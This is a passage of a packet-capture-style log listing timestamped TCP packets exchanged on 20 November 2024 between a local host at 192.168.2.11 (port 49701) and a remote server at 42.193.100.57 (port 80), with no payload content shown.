        Nov 20, 2024 09:14:48.231888056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231899023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231909037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231920004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231930017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231934071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231941938 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231954098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231964111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.231965065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231976986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.231993914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.232013941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.232049942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232063055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232098103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.232125998 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.232209921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232222080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232232094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232243061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232254982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232261896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.232265949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.232287884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.232311964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315407038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315460920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315557003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315568924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315582037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315593004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315598965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315632105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315732002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315743923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315754890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315777063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315803051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315809965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315820932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315831900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315843105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315850019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315854073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315886021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.315953970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315969944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.315996885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316019058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316142082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316154003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316164017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316183090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316183090 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316195965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316205025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316209078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316220999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316231966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316232920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316251040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316257000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316262007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316270113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316298008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316335917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316349030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316358089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316370010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316374063 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316392899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316422939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316519976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316530943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316541910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316551924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316561937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316564083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316575050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316579103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316589117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316605091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316620111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316648960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316663980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316709042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316829920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316842079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316852093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316863060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316871881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316874027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316885948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316896915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316899061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316910982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.316911936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316941023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.316953897 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317150116 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317159891 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317171097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317181110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317188025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317192078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317208052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317210913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317219973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317230940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317245960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317270041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317306042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317318916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317328930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317338943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317348003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317372084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317475080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317486048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317497969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317509890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317518950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317545891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317569971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317734003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317744970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317754984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317765951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317775011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317779064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317790985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317800045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317802906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317820072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317842960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317883968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317894936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317905903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317919970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.317925930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317950010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.317975044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318052053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318063974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318073988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318084955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318090916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318109035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318136930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318197966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318211079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318222046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318232059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318242073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318253040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318253040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318267107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318274021 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318301916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318521023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318531990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318542957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318555117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318564892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318572044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318573952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318583965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318623066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318692923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318705082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318738937 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318753958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318852901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318865061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318875074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318886042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318897009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318903923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318907976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318918943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.318936110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.318980932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319015026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319027901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319037914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319047928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319056988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319060087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319072008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319072962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319087029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319094896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319098949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319139004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319154978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319166899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319211006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319348097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319360018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.319386959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.319411039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436364889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436376095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436393023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436404943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436415911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436430931 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436458111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436470032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436480999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436484098 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436496973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436506987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436522961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436522961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436592102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436604023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436609030 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436616898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436626911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436639071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436641932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436651945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436664104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436711073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436711073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436748028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436778069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436795950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436805964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436840057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436840057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436868906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436881065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436892033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436904907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.436932087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.436932087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.437064886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.437083006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.437093019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.437117100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.437184095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.437249899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.437263012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.437328100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.437328100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.437999010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.438172102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.438184977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.438193083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.438235044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.438235044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.438410044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.438461065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.438472033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.438643932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.438993931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.439099073 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.439153910 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.439245939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.439281940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.439394951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.439488888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.439500093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.439563036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.440119028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.440130949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.440251112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.440263987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.440453053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.440468073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.440535069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.441358089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.441370010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.441438913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.441438913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.441517115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.441529036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.441633940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442029953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442042112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442089081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442136049 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442183971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442198992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442291975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442346096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442362070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442373991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442384958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442389011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442398071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442408085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442410946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442420006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442435026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442446947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442446947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442459106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442471027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442471981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442493916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442504883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442506075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442517996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442521095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442529917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442538977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442542076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442553997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442564011 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442568064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442578077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442581892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442594051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442604065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442605019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442615986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442626953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442632914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442632914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442643881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442662001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442667961 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442675114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442686081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442688942 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442698002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442708969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442709923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442719936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442732096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442732096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442743063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442754030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442761898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442761898 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442765951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442779064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442791939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442795038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442815065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442816973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442816973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442835093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442847013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442857027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442857981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442857981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442868948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442884922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442884922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442886114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442898989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442909956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442910910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442910910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442923069 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442929029 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442934036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442945004 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442950964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442950964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442956924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442975998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.442979097 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.442987919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443001032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:48.443011999 CET804970142.193.100.57192.168.2.11
